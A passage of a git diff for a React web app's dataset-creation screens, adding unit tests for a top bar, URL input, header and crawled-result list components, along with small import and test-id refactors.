+        renderTopBar({ datasetId: '' })
+
+        // Assert - Empty string is falsy, so fallback to /datasets
+        const backLink = screen.getByTestId('back-link')
+        expect(backLink).toHaveAttribute('href', '/datasets')
+      })
+    })
+
+    describe('activeIndex prop', () => {
+      it('should pass activeIndex to Stepper component (index 0)', () => {
+        // Arrange & Act
+        const { container } = renderTopBar({ activeIndex: 0 })
+
+        // Assert - First step should be active (has specific styling)
+        const steps = container.querySelectorAll('[class*="system-2xs-semibold-uppercase"]')
+        expect(steps.length).toBeGreaterThan(0)
+      })
+
+      it('should pass activeIndex to Stepper component (index 1)', () => {
+        // Arrange & Act
+        renderTopBar({ activeIndex: 1 })
+
+        // Assert - Stepper is rendered with correct props
+        expect(screen.getByText('datasetCreation.steps.one')).toBeInTheDocument()
+        expect(screen.getByText('datasetCreation.steps.two')).toBeInTheDocument()
+      })
+
+      it('should pass activeIndex to Stepper component (index 2)', () => {
+        // Arrange & Act
+        renderTopBar({ activeIndex: 2 })
+
+        // Assert
+        expect(screen.getByText('datasetCreation.steps.three')).toBeInTheDocument()
+      })
+
+      it('should handle edge case activeIndex of -1', () => {
+        // Arrange & Act
+        const { container } = renderTopBar({ activeIndex: -1 })
+
+        // Assert - Component should render without crashing
+        expect(container.firstChild).toBeInTheDocument()
+      })
+
+      it('should handle edge case activeIndex beyond steps length', () => {
+        // Arrange & Act
+        const { container } = renderTopBar({ activeIndex: 10 })
+
+        // Assert - Component should render without crashing
+        expect(container.firstChild).toBeInTheDocument()
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Memoization Tests - Test useMemo logic and dependencies
+  // --------------------------------------------------------------------------
+  describe('Memoization Logic', () => {
+    it('should compute fallbackRoute based on datasetId', () => {
+      // Arrange & Act - With datasetId
+      const { rerender } = render(<TopBar activeIndex={0} datasetId="test-id" />)
+
+      // Assert
+      expect(screen.getByTestId('back-link')).toHaveAttribute('href', '/datasets/test-id/documents')
+
+      // Act - Rerender with different datasetId
+      rerender(<TopBar activeIndex={0} datasetId="new-id" />)
+
+      // Assert - Route should update
+      expect(screen.getByTestId('back-link')).toHaveAttribute('href', '/datasets/new-id/documents')
+    })
+
+    it('should update fallbackRoute when datasetId changes from undefined to defined', () => {
+      // Arrange
+      const { rerender } = render(<TopBar activeIndex={0} />)
+      expect(screen.getByTestId('back-link')).toHaveAttribute('href', '/datasets')
+
+      // Act
+      rerender(<TopBar activeIndex={0} datasetId="new-dataset" />)
+
+      // Assert
+      expect(screen.getByTestId('back-link')).toHaveAttribute('href', '/datasets/new-dataset/documents')
+    })
+
+    it('should update fallbackRoute when datasetId changes from defined to undefined', () => {
+      // Arrange
+      const { rerender } = render(<TopBar activeIndex={0} datasetId="existing-id" />)
+      expect(screen.getByTestId('back-link')).toHaveAttribute('href', '/datasets/existing-id/documents')
+
+      // Act
+      rerender(<TopBar activeIndex={0} datasetId={undefined} />)
+
+      // Assert
+      expect(screen.getByTestId('back-link')).toHaveAttribute('href', '/datasets')
+    })
+
+    it('should not change fallbackRoute when activeIndex changes but datasetId stays same', () => {
+      // Arrange
+      const { rerender } = render(<TopBar activeIndex={0} datasetId="stable-id" />)
+      const initialHref = screen.getByTestId('back-link').getAttribute('href')
+
+      // Act
+      rerender(<TopBar activeIndex={1} datasetId="stable-id" />)
+
+      // Assert - href should remain the same
+      expect(screen.getByTestId('back-link')).toHaveAttribute('href', initialHref)
+    })
+
+    it('should not change fallbackRoute when className changes but datasetId stays same', () => {
+      // Arrange
+      const { rerender } = render(<TopBar activeIndex={0} datasetId="stable-id" className="class-1" />)
+      const initialHref = screen.getByTestId('back-link').getAttribute('href')
+
+      // Act
+      rerender(<TopBar activeIndex={0} datasetId="stable-id" className="class-2" />)
+
+      // Assert - href should remain the same
+      expect(screen.getByTestId('back-link')).toHaveAttribute('href', initialHref)
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Link Component Tests
+  // --------------------------------------------------------------------------
+  describe('Link Component', () => {
+    it('should render Link with replace prop', () => {
+      // Arrange & Act
+      renderTopBar()
+
+      // Assert
+      const backLink = screen.getByTestId('back-link')
+      expect(backLink).toHaveAttribute('data-replace', 'true')
+    })
+
+    it('should render Link with correct classes', () => {
+      // Arrange & Act
+      renderTopBar()
+
+      // Assert
+      const backLink = screen.getByTestId('back-link')
+      expect(backLink).toHaveClass('inline-flex')
+      expect(backLink).toHaveClass('h-12')
+      expect(backLink).toHaveClass('items-center')
+      expect(backLink).toHaveClass('justify-start')
+      expect(backLink).toHaveClass('gap-1')
+      expect(backLink).toHaveClass('py-2')
+      expect(backLink).toHaveClass('pl-2')
+      expect(backLink).toHaveClass('pr-6')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // STEP_T_MAP Tests - Verify step translations
+  // --------------------------------------------------------------------------
+  describe('STEP_T_MAP Translations', () => {
+    it('should render step one translation', () => {
+      // Arrange & Act
+      renderTopBar({ activeIndex: 0 })
+
+      // Assert
+      expect(screen.getByText('datasetCreation.steps.one')).toBeInTheDocument()
+    })
+
+    it('should render step two translation', () => {
+      // Arrange & Act
+      renderTopBar({ activeIndex: 1 })
+
+      // Assert
+      expect(screen.getByText('datasetCreation.steps.two')).toBeInTheDocument()
+    })
+
+    it('should render step three translation', () => {
+      // Arrange & Act
+      renderTopBar({ activeIndex: 2 })
+
+      // Assert
+      expect(screen.getByText('datasetCreation.steps.three')).toBeInTheDocument()
+    })
+
+    it('should render all three step translations', () => {
+      // Arrange & Act
+      renderTopBar({ activeIndex: 0 })
+
+      // Assert
+      expect(screen.getByText('datasetCreation.steps.one')).toBeInTheDocument()
+      expect(screen.getByText('datasetCreation.steps.two')).toBeInTheDocument()
+      expect(screen.getByText('datasetCreation.steps.three')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Edge Cases and Error Handling Tests
+  // --------------------------------------------------------------------------
+  describe('Edge Cases', () => {
+    it('should handle special characters in datasetId', () => {
+      // Arrange & Act
+      renderTopBar({ datasetId: 'dataset-with-special_chars.123' })
+
+      // Assert
+      const backLink = screen.getByTestId('back-link')
+      expect(backLink).toHaveAttribute('href', '/datasets/dataset-with-special_chars.123/documents')
+    })
+
+    it('should handle very long datasetId', () => {
+      // Arrange
+      const longId = 'a'.repeat(100)
+
+      // Act
+      renderTopBar({ datasetId: longId })
+
+      // Assert
+      const backLink = screen.getByTestId('back-link')
+      expect(backLink).toHaveAttribute('href', `/datasets/${longId}/documents`)
+    })
+
+    it('should handle UUID format datasetId', () => {
+      // Arrange
+      const uuid = '550e8400-e29b-41d4-a716-446655440000'
+
+      // Act
+      renderTopBar({ datasetId: uuid })
+
+      // Assert
+      const backLink = screen.getByTestId('back-link')
+      expect(backLink).toHaveAttribute('href', `/datasets/${uuid}/documents`)
+    })
+
+    it('should handle whitespace in className', () => {
+      // Arrange & Act
+      const { container } = renderTopBar({ className: '  spaced-class  ' })
+
+      // Assert - classNames utility handles whitespace
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toBeInTheDocument()
+    })
+
+    it('should render correctly with all props provided', () => {
+      // Arrange & Act
+      const { container } = renderTopBar({
+        className: 'custom-class',
+        datasetId: 'full-props-id',
+        activeIndex: 2,
+      })
+
+      // Assert
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('custom-class')
+      expect(screen.getByTestId('back-link')).toHaveAttribute('href', '/datasets/full-props-id/documents')
+    })
+
+    it('should render correctly with minimal props (only activeIndex)', () => {
+      // Arrange & Act
+      const { container } = renderTopBar({ activeIndex: 0 })
+
+      // Assert
+      expect(container.firstChild).toBeInTheDocument()
+      expect(screen.getByTestId('back-link')).toHaveAttribute('href', '/datasets')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Stepper Integration Tests
+  // --------------------------------------------------------------------------
+  describe('Stepper Integration', () => {
+    it('should pass steps array with correct structure to Stepper', () => {
+      // Arrange & Act
+      renderTopBar({ activeIndex: 0 })
+
+      // Assert - All step names should be rendered
+      const stepOne = screen.getByText('datasetCreation.steps.one')
+      const stepTwo = screen.getByText('datasetCreation.steps.two')
+      const stepThree = screen.getByText('datasetCreation.steps.three')
+
+      expect(stepOne).toBeInTheDocument()
+      expect(stepTwo).toBeInTheDocument()
+      expect(stepThree).toBeInTheDocument()
+    })
+
+    it('should render Stepper in centered position', () => {
+      // Arrange & Act
+      const { container } = renderTopBar({ activeIndex: 0 })
+
+      // Assert - Check for centered positioning classes
+      const centeredContainer = container.querySelector('.absolute.left-1\\/2.top-1\\/2.-translate-x-1\\/2.-translate-y-1\\/2')
+      expect(centeredContainer).toBeInTheDocument()
+    })
+
+    it('should render step dividers between steps', () => {
+      // Arrange & Act
+      const { container } = renderTopBar({ activeIndex: 0 })
+
+      // Assert - Check for dividers (h-px w-4 bg-divider-deep)
+      const dividers = container.querySelectorAll('.h-px.w-4.bg-divider-deep')
+      expect(dividers.length).toBe(2) // 2 dividers between 3 steps
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Accessibility Tests
+  // --------------------------------------------------------------------------
+  describe('Accessibility', () => {
+    it('should have accessible back link', () => {
+      // Arrange & Act
+      renderTopBar()
+
+      // Assert
+      const backLink = screen.getByTestId('back-link')
+      expect(backLink).toBeInTheDocument()
+      // Link should have visible text
+      expect(screen.getByText('datasetCreation.steps.header.fallbackRoute')).toBeInTheDocument()
+    })
+
+    it('should have visible arrow icon in back link', () => {
+      // Arrange & Act
+      const { container } = renderTopBar()
+
+      // Assert - Arrow icon should be visible
+      const arrowIcon = container.querySelector('svg')
+      expect(arrowIcon).toBeInTheDocument()
+      expect(arrowIcon).toHaveClass('text-text-primary')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Re-render Tests
+  // --------------------------------------------------------------------------
+  describe('Re-render Behavior', () => {
+    it('should update activeIndex on re-render', () => {
+      // Arrange
+      const { rerender, container } = render(<TopBar activeIndex={0} />)
+
+      // Initial check
+      expect(container.firstChild).toBeInTheDocument()
+
+      // Act - Update activeIndex
+      rerender(<TopBar activeIndex={1} />)
+
+      // Assert - Component should still render
+      expect(container.firstChild).toBeInTheDocument()
+    })
+
+    it('should update className on re-render', () => {
+      // Arrange
+      const { rerender, container } = render(<TopBar activeIndex={0} className="initial-class" />)
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('initial-class')
+
+      // Act
+      rerender(<TopBar activeIndex={0} className="updated-class" />)
+
+      // Assert
+      expect(wrapper).toHaveClass('updated-class')
+      expect(wrapper).not.toHaveClass('initial-class')
+    })
+
+    it('should handle multiple rapid re-renders', () => {
+      // Arrange
+      const { rerender, container } = render(<TopBar activeIndex={0} />)
+
+      // Act - Multiple rapid re-renders
+      rerender(<TopBar activeIndex={1} />)
+      rerender(<TopBar activeIndex={2} />)
+      rerender(<TopBar activeIndex={0} datasetId="new-id" />)
+      rerender(<TopBar activeIndex={1} datasetId="another-id" className="new-class" />)
+
+      // Assert - Component should be stable
+      expect(container.firstChild).toBeInTheDocument()
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('new-class')
+      expect(screen.getByTestId('back-link')).toHaveAttribute('href', '/datasets/another-id/documents')
+    })
+  })
+})
diff --git a/web/app/components/datasets/create/top-bar/index.tsx b/web/app/components/datasets/create/top-bar/index.tsx
index e54577f46b..6d3064c350 100644
--- a/web/app/components/datasets/create/top-bar/index.tsx
+++ b/web/app/components/datasets/create/top-bar/index.tsx
@@ -3,7 +3,7 @@ import { RiArrowLeftLine } from '@remixicon/react'
 import Link from 'next/link'
 import { useTranslation } from 'react-i18next'
 import { Stepper, type StepperProps } from '../stepper'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type TopBarProps = Pick<StepperProps, 'activeIndex'> & {
   className?: string
@@ -24,7 +24,7 @@ export const TopBar: FC<TopBarProps> = (props) => {
     return datasetId ? `/datasets/${datasetId}/documents` : '/datasets'
   }, [datasetId])
 
-  return <div className={classNames('relative flex h-[52px] shrink-0 items-center justify-between border-b border-b-divider-subtle', className)}>
+  return <div className={cn('relative flex h-[52px] shrink-0 items-center justify-between border-b border-b-divider-subtle', className)}>
     <Link href={fallbackRoute} replace className="inline-flex h-12 items-center justify-start gap-1 py-2 pl-2 pr-6">
       <div className='p-2'>
         <RiArrowLeftLine className='size-4 text-text-primary' />
diff --git a/web/app/components/datasets/create/website/base.spec.tsx b/web/app/components/datasets/create/website/base.spec.tsx
new file mode 100644
index 0000000000..426fc259ea
--- /dev/null
+++ b/web/app/components/datasets/create/website/base.spec.tsx
@@ -0,0 +1,555 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import Input from './base/input'
+import Header from './base/header'
+import CrawledResult from './base/crawled-result'
+import CrawledResultItem from './base/crawled-result-item'
+import type { CrawlResultItem } from '@/models/datasets'
+
+// ============================================================================
+// Test Data Factories
+// ============================================================================
+
+const createCrawlResultItem = (overrides: Partial<CrawlResultItem> = {}): CrawlResultItem => ({
+  title: 'Test Page Title',
+  markdown: '# Test Content',
+  description: 'Test description',
+  source_url: 'https://example.com/page',
+  ...overrides,
+})
+
+// ============================================================================
+// Input Component Tests
+// ============================================================================
+
+describe('Input', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  const createInputProps = (overrides: Partial<Parameters<typeof Input>[0]> = {}) => ({
+    value: '',
+    onChange: jest.fn(),
+    ...overrides,
+  })
+
+  describe('Rendering', () => {
+    it('should render text input by default', () => {
+      const props = createInputProps()
+      render(<Input {...props} />)
+
+      const input = screen.getByRole('textbox')
+      expect(input).toBeInTheDocument()
+      expect(input).toHaveAttribute('type', 'text')
+    })
+
+    it('should render number input when isNumber is true', () => {
+      const props = createInputProps({ isNumber: true, value: 0 })
+      render(<Input {...props} />)
+
+      const input = screen.getByRole('spinbutton')
+      expect(input).toBeInTheDocument()
+      expect(input).toHaveAttribute('type', 'number')
+      expect(input).toHaveAttribute('min', '0')
+    })
+
+    it('should render with placeholder', () => {
+      const props = createInputProps({ placeholder: 'Enter URL' })
+      render(<Input {...props} />)
+
+      expect(screen.getByPlaceholderText('Enter URL')).toBeInTheDocument()
+    })
+
+    it('should render with initial value', () => {
+      const props = createInputProps({ value: 'test value' })
+      render(<Input {...props} />)
+
+      expect(screen.getByDisplayValue('test value')).toBeInTheDocument()
+    })
+  })
+
+  describe('Text Input Behavior', () => {
+    it('should call onChange with string value for text input', async () => {
+      const onChange = jest.fn()
+      const props = createInputProps({ onChange })
+
+      render(<Input {...props} />)
+      const input = screen.getByRole('textbox')
+
+      await userEvent.type(input, 'hello')
+
+      expect(onChange).toHaveBeenCalledWith('h')
+      expect(onChange).toHaveBeenCalledWith('e')
+      expect(onChange).toHaveBeenCalledWith('l')
+      expect(onChange).toHaveBeenCalledWith('l')
+      expect(onChange).toHaveBeenCalledWith('o')
+    })
+  })
+
+  describe('Number Input Behavior', () => {
+    it('should call onChange with parsed integer for number input', () => {
+      const onChange = jest.fn()
+      const props = createInputProps({ isNumber: true, onChange, value: 0 })
+
+      render(<Input {...props} />)
+      const input = screen.getByRole('spinbutton')
+
+      fireEvent.change(input, { target: { value: '42' } })
+
+      expect(onChange).toHaveBeenCalledWith(42)
+    })
+
+    it('should call onChange with empty string when input is NaN', () => {
+      const onChange = jest.fn()
+      const props = createInputProps({ isNumber: true, onChange, value: 0 })
+
+      render(<Input {...props} />)
+      const input = screen.getByRole('spinbutton')
+
+      fireEvent.change(input, { target: { value: 'abc' } })
+
+      expect(onChange).toHaveBeenCalledWith('')
+    })
+
+    it('should call onChange with empty string when input is empty', () => {
+      const onChange = jest.fn()
+      const props = createInputProps({ isNumber: true, onChange, value: 5 })
+
+      render(<Input {...props} />)
+      const input = screen.getByRole('spinbutton')
+
+      fireEvent.change(input, { target: { value: '' } })
+
+      expect(onChange).toHaveBeenCalledWith('')
+    })
+
+    it('should clamp negative values to MIN_VALUE (0)', () => {
+      const onChange = jest.fn()
+      const props = createInputProps({ isNumber: true, onChange, value: 0 })
+
+      render(<Input {...props} />)
+      const input = screen.getByRole('spinbutton')
+
+      fireEvent.change(input, { target: { value: '-5' } })
+
+      expect(onChange).toHaveBeenCalledWith(0)
+    })
+
+    it('should handle decimal input by parsing as integer', () => {
+      const onChange = jest.fn()
+      const props = createInputProps({ isNumber: true, onChange, value: 0 })
+
+      render(<Input {...props} />)
+      const input = screen.getByRole('spinbutton')
+
+      fireEvent.change(input, { target: { value: '3.7' } })
+
+      expect(onChange).toHaveBeenCalledWith(3)
+    })
+  })
+
+  describe('Component Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      expect(Input.$$typeof).toBeDefined()
+    })
+  })
+})
+
+// ============================================================================
+// Header Component Tests
+// ============================================================================
+
+describe('Header', () => {
+  const createHeaderProps = (overrides: Partial<Parameters<typeof Header>[0]> = {}) => ({
+    title: 'Test Title',
+    docTitle: 'Documentation',
+    docLink: 'https://docs.example.com',
+    ...overrides,
+  })
+
+  describe('Rendering', () => {
+    it('should render title', () => {
+      const props = createHeaderProps()
+      render(<Header {...props} />)
+
+      expect(screen.getByText('Test Title')).toBeInTheDocument()
+    })
+
+    it('should render doc link', () => {
+      const props = createHeaderProps()
+      render(<Header {...props} />)
+
+      const link = screen.getByRole('link')
+      expect(link).toHaveAttribute('href', 'https://docs.example.com')
+      expect(link).toHaveAttribute('target', '_blank')
+    })
+
+    it('should render button text when not in pipeline', () => {
+      const props = createHeaderProps({ buttonText: 'Configure' })
+      render(<Header {...props} />)
+
+      expect(screen.getByText('Configure')).toBeInTheDocument()
+    })
+
+    it('should not render button text when in pipeline', () => {
+      const props = createHeaderProps({ isInPipeline: true, buttonText: 'Configure' })
+      render(<Header {...props} />)
+
+      expect(screen.queryByText('Configure')).not.toBeInTheDocument()
+    })
+  })
+
+  describe('isInPipeline Prop', () => {
+    it('should apply pipeline styles when isInPipeline is true', () => {
+      const props = createHeaderProps({ isInPipeline: true })
+      render(<Header {...props} />)
+
+      const titleElement = screen.getByText('Test Title')
+      expect(titleElement).toHaveClass('system-sm-semibold')
+    })
+
+    it('should apply default styles when isInPipeline is false', () => {
+      const props = createHeaderProps({ isInPipeline: false })
+      render(<Header {...props} />)
+
+      const titleElement = screen.getByText('Test Title')
+      expect(titleElement).toHaveClass('system-md-semibold')
+    })
+
+    it('should apply compact button styles when isInPipeline is true', () => {
+      const props = createHeaderProps({ isInPipeline: true })
+      render(<Header {...props} />)
+
+      const button = screen.getByRole('button')
+      expect(button).toHaveClass('size-6')
+      expect(button).toHaveClass('px-1')
+    })
+
+    it('should apply default button styles when isInPipeline is false', () => {
+      const props = createHeaderProps({ isInPipeline: false })
+      render(<Header {...props} />)
+
+      const button = screen.getByRole('button')
+      expect(button).toHaveClass('gap-x-0.5')
+      expect(button).toHaveClass('px-1.5')
+    })
+  })
+
+  describe('User Interactions', () => {
+    it('should call onClickConfiguration when button is clicked', async () => {
+      const onClickConfiguration = jest.fn()
+      const props = createHeaderProps({ onClickConfiguration })
+
+      render(<Header {...props} />)
+      await userEvent.click(screen.getByRole('button'))
+
+      expect(onClickConfiguration).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  describe('Component Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      expect(Header.$$typeof).toBeDefined()
+    })
+  })
+})
+
+// ============================================================================
+// CrawledResultItem Component Tests
+// ============================================================================
+
+describe('CrawledResultItem', () => {
+  const createItemProps = (overrides: Partial<Parameters<typeof CrawledResultItem>[0]> = {}) => ({
+    payload: createCrawlResultItem(),
+    isChecked: false,
+    isPreview: false,
+    onCheckChange: jest.fn(),
+    onPreview: jest.fn(),
+    testId: 'test-item',
+    ...overrides,
+  })
+
+  describe('Rendering', () => {
+    it('should render title and source URL', () => {
+      const props = createItemProps({
+        payload: createCrawlResultItem({
+          title: 'My Page',
+          source_url: 'https://mysite.com',
+        }),
+      })
+      render(<CrawledResultItem {...props} />)
+
+      expect(screen.getByText('My Page')).toBeInTheDocument()
+      expect(screen.getByText('https://mysite.com')).toBeInTheDocument()
+    })
+
+    it('should render checkbox (custom Checkbox component)', () => {
+      const props = createItemProps()
+      render(<CrawledResultItem {...props} />)
+
+      // Find checkbox by data-testid
+      const checkbox = screen.getByTestId('checkbox-test-item')
+      expect(checkbox).toBeInTheDocument()
+    })
+
+    it('should render preview button', () => {
+      const props = createItemProps()
+      render(<CrawledResultItem {...props} />)
+
+      expect(screen.getByText('datasetCreation.stepOne.website.preview')).toBeInTheDocument()
+    })
+  })
+
+  describe('Checkbox Behavior', () => {
+    it('should call onCheckChange with true when unchecked item is clicked', async () => {
+      const onCheckChange = jest.fn()
+      const props = createItemProps({ isChecked: false, onCheckChange })
+
+      render(<CrawledResultItem {...props} />)
+      const checkbox = screen.getByTestId('checkbox-test-item')
+      await userEvent.click(checkbox)
+
+      expect(onCheckChange).toHaveBeenCalledWith(true)
+    })
+
+    it('should call onCheckChange with false when checked item is clicked', async () => {
+      const onCheckChange = jest.fn()
+      const props = createItemProps({ isChecked: true, onCheckChange })
+
+      render(<CrawledResultItem {...props} />)
+      const checkbox = screen.getByTestId('checkbox-test-item')
+      await userEvent.click(checkbox)
+
+      expect(onCheckChange).toHaveBeenCalledWith(false)
+    })
+  })
+
+  describe('Preview Behavior', () => {
+    it('should call onPreview when preview button is clicked', async () => {
+      const onPreview = jest.fn()
+      const props = createItemProps({ onPreview })
+
+      render(<CrawledResultItem {...props} />)
+      await userEvent.click(screen.getByText('datasetCreation.stepOne.website.preview'))
+
+      expect(onPreview).toHaveBeenCalledTimes(1)
+    })
+
+    it('should apply active style when isPreview is true', () => {
+      const props = createItemProps({ isPreview: true })
+      const { container } = render(<CrawledResultItem {...props} />)
+
+      const wrapper = container.firstChild
+      expect(wrapper).toHaveClass('bg-state-base-active')
+    })
+
+    it('should not apply active style when isPreview is false', () => {
+      const props = createItemProps({ isPreview: false })
+      const { container } = render(<CrawledResultItem {...props} />)
+
+      const wrapper = container.firstChild
+      expect(wrapper).not.toHaveClass('bg-state-base-active')
+    })
+  })
+
+  describe('Component Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      expect(CrawledResultItem.$$typeof).toBeDefined()
+    })
+  })
+})
+
+// ============================================================================
+// CrawledResult Component Tests
+// ============================================================================
+
+describe('CrawledResult', () => {
+  const createResultProps = (overrides: Partial<Parameters<typeof CrawledResult>[0]> = {}) => ({
+    list: [
+      createCrawlResultItem({ source_url: 'https://page1.com', title: 'Page 1' }),
+      createCrawlResultItem({ source_url: 'https://page2.com', title: 'Page 2' }),
+      createCrawlResultItem({ source_url: 'https://page3.com', title: 'Page 3' }),
+    ],
+    checkedList: [],
+    onSelectedChange: jest.fn(),
+    onPreview: jest.fn(),
+    usedTime: 2.5,
+    ...overrides,
+  })
+
+  // Helper functions to get checkboxes by data-testid
+  const getSelectAllCheckbox = () => screen.getByTestId('checkbox-select-all')
+  const getItemCheckbox = (index: number) => screen.getByTestId(`checkbox-item-${index}`)
+
+  describe('Rendering', () => {
+    it('should render all items in list', () => {
+      const props = createResultProps()
+      render(<CrawledResult {...props} />)
+
+      expect(screen.getByText('Page 1')).toBeInTheDocument()
+      expect(screen.getByText('Page 2')).toBeInTheDocument()
+      expect(screen.getByText('Page 3')).toBeInTheDocument()
+    })
+
+    it('should render time info', () => {
+      const props = createResultProps({ usedTime: 3.456 })
+      render(<CrawledResult {...props} />)
+
+      // The component uses i18n, so we check for the key pattern
+      expect(screen.getByText(/scrapTimeInfo/)).toBeInTheDocument()
+    })
+
+    it('should render select all checkbox', () => {
+      const props = createResultProps()
+      render(<CrawledResult {...props} />)
+
+      expect(screen.getByText('datasetCreation.stepOne.website.selectAll')).toBeInTheDocument()
+    })
+
+    it('should render reset all when all items are checked', () => {
+      const list = [
+        createCrawlResultItem({ source_url: 'https://page1.com' }),
+        createCrawlResultItem({ source_url: 'https://page2.com' }),
+      ]
+      const props = createResultProps({ list, checkedList: list })
+      render(<CrawledResult {...props} />)
+
+      expect(screen.getByText('datasetCreation.stepOne.website.resetAll')).toBeInTheDocument()
+    })
+  })
+
+  describe('Select All / Deselect All', () => {
+    it('should call onSelectedChange with all items when select all is clicked', async () => {
+      const onSelectedChange = jest.fn()
+      const list = [
+        createCrawlResultItem({ source_url: 'https://page1.com' }),
+        createCrawlResultItem({ source_url: 'https://page2.com' }),
+      ]
+      const props = createResultProps({ list, checkedList: [], onSelectedChange })
+
+      render(<CrawledResult {...props} />)
+      await userEvent.click(getSelectAllCheckbox())
+
+      expect(onSelectedChange).toHaveBeenCalledWith(list)
+    })
+
+    it('should call onSelectedChange with empty array when reset all is clicked', async () => {
+      const onSelectedChange = jest.fn()
+      const list = [
+        createCrawlResultItem({ source_url: 'https://page1.com' }),
+        createCrawlResultItem({ source_url: 'https://page2.com' }),
+      ]
+      const props = createResultProps({ list, checkedList: list, onSelectedChange })
+
+      render(<CrawledResult {...props} />)
+      await userEvent.click(getSelectAllCheckbox())
+
+      expect(onSelectedChange).toHaveBeenCalledWith([])
+    })
+  })
+
+  describe('Individual Item Selection', () => {
+    it('should add item to checkedList when unchecked item is checked', async () => {
+      const onSelectedChange = jest.fn()
+      const list = [
+        createCrawlResultItem({ source_url: 'https://page1.com', title: 'Page 1' }),
+        createCrawlResultItem({ source_url: 'https://page2.com', title: 'Page 2' }),
+      ]
+      const props = createResultProps({ list, checkedList: [], onSelectedChange })
+
+      render(<CrawledResult {...props} />)
+      await userEvent.click(getItemCheckbox(0))
+
+      expect(onSelectedChange).toHaveBeenCalledWith([list[0]])
+    })
+
+    it('should remove item from checkedList when checked item is unchecked', async () => {
+      const onSelectedChange = jest.fn()
+      const list = [
+        createCrawlResultItem({ source_url: 'https://page1.com', title: 'Page 1' }),
+        createCrawlResultItem({ source_url: 'https://page2.com', title: 'Page 2' }),
+      ]
+      const props = createResultProps({ list, checkedList: [list[0]], onSelectedChange })
+
+      render(<CrawledResult {...props} />)
+      await userEvent.click(getItemCheckbox(0))
+
+      expect(onSelectedChange).toHaveBeenCalledWith([])
+    })
+
+    it('should preserve other checked items when unchecking one item', async () => {
+      const onSelectedChange = jest.fn()
+      const list = [
+        createCrawlResultItem({ source_url: 'https://page1.com', title: 'Page 1' }),
+        createCrawlResultItem({ source_url: 'https://page2.com', title: 'Page 2' }),
+        createCrawlResultItem({ source_url: 'https://page3.com', title: 'Page 3' }),
+      ]
+      const props = createResultProps({ list, checkedList: [list[0], list[1]], onSelectedChange })
+
+      render(<CrawledResult {...props} />)
+      // Click the first item's checkbox to uncheck it
+      await userEvent.click(getItemCheckbox(0))
+
+      expect(onSelectedChange).toHaveBeenCalledWith([list[1]])
+    })
+  })
+
+  describe('Preview Behavior', () => {
+    it('should call onPreview with correct item when preview is clicked', async () => {
+      const onPreview = jest.fn()
+      const list = [
+        createCrawlResultItem({ source_url: 'https://page1.com', title: 'Page 1' }),
+        createCrawlResultItem({ source_url: 'https://page2.com', title: 'Page 2' }),
+      ]
+      const props = createResultProps({ list, onPreview })
+
+      render(<CrawledResult {...props} />)
+
+      // Click preview on second item
+      const previewButtons = screen.getAllByText('datasetCreation.stepOne.website.preview')
+      await userEvent.click(previewButtons[1])
+
+      expect(onPreview).toHaveBeenCalledWith(list[1])
+    })
+
+    it('should track preview index correctly', async () => {
+      const onPreview = jest.fn()
+      const list = [
+        createCrawlResultItem({ source_url: 'https://page1.com', title: 'Page 1' }),
+        createCrawlResultItem({ source_url: 'https://page2.com', title: 'Page 2' }),
+      ]
+      const props = createResultProps({ list, onPreview })
+
+      render(<CrawledResult {...props} />)
+
+      // Click preview on first item
+      const previewButtons = screen.getAllByText('datasetCreation.stepOne.website.preview')
+      await userEvent.click(previewButtons[0])
+
+      expect(onPreview).toHaveBeenCalledWith(list[0])
+    })
+  })
+
+  describe('Component Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      expect(CrawledResult.$$typeof).toBeDefined()
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle empty list', () => {
+      const props = createResultProps({ list: [], checkedList: [] })
+      render(<CrawledResult {...props} />)
+
+      // Should still render the header with resetAll (empty list = all checked)
+      expect(screen.getByText('datasetCreation.stepOne.website.resetAll')).toBeInTheDocument()
+    })
+
+    it('should handle className prop', () => {
+      const props = createResultProps({ className: 'custom-class' })
+      const { container } = render(<CrawledResult {...props} />)
+
+      expect(container.firstChild).toHaveClass('custom-class')
+    })
+  })
+})
diff --git a/web/app/components/datasets/create/website/base/checkbox-with-label.tsx b/web/app/components/datasets/create/website/base/checkbox-with-label.tsx
index f5451af074..54031a87d4 100644
--- a/web/app/components/datasets/create/website/base/checkbox-with-label.tsx
+++ b/web/app/components/datasets/create/website/base/checkbox-with-label.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Checkbox from '@/app/components/base/checkbox'
 import Tooltip from '@/app/components/base/tooltip'
 
@@ -12,6 +12,7 @@ type Props = {
   label: string
   labelClassName?: string
   tooltip?: string
+  testId?: string
 }
 
 const CheckboxWithLabel: FC<Props> = ({
@@ -21,10 +22,11 @@ const CheckboxWithLabel: FC<Props> = ({
   label,
   labelClassName,
   tooltip,
+  testId,
 }) => {
   return (
     <label className={cn(className, 'flex h-7 items-center space-x-2')}>
-      <Checkbox checked={isChecked} onCheck={() => onChange(!isChecked)} />
+      <Checkbox checked={isChecked} onCheck={() => onChange(!isChecked)} id={testId} />
       <div className={cn('text-sm font-normal text-text-secondary', labelClassName)}>{label}</div>
       {tooltip && (
         <Tooltip
diff --git a/web/app/components/datasets/create/website/base/crawled-result-item.tsx b/web/app/components/datasets/create/website/base/crawled-result-item.tsx
index 8ea316f62a..ae546f7757 100644
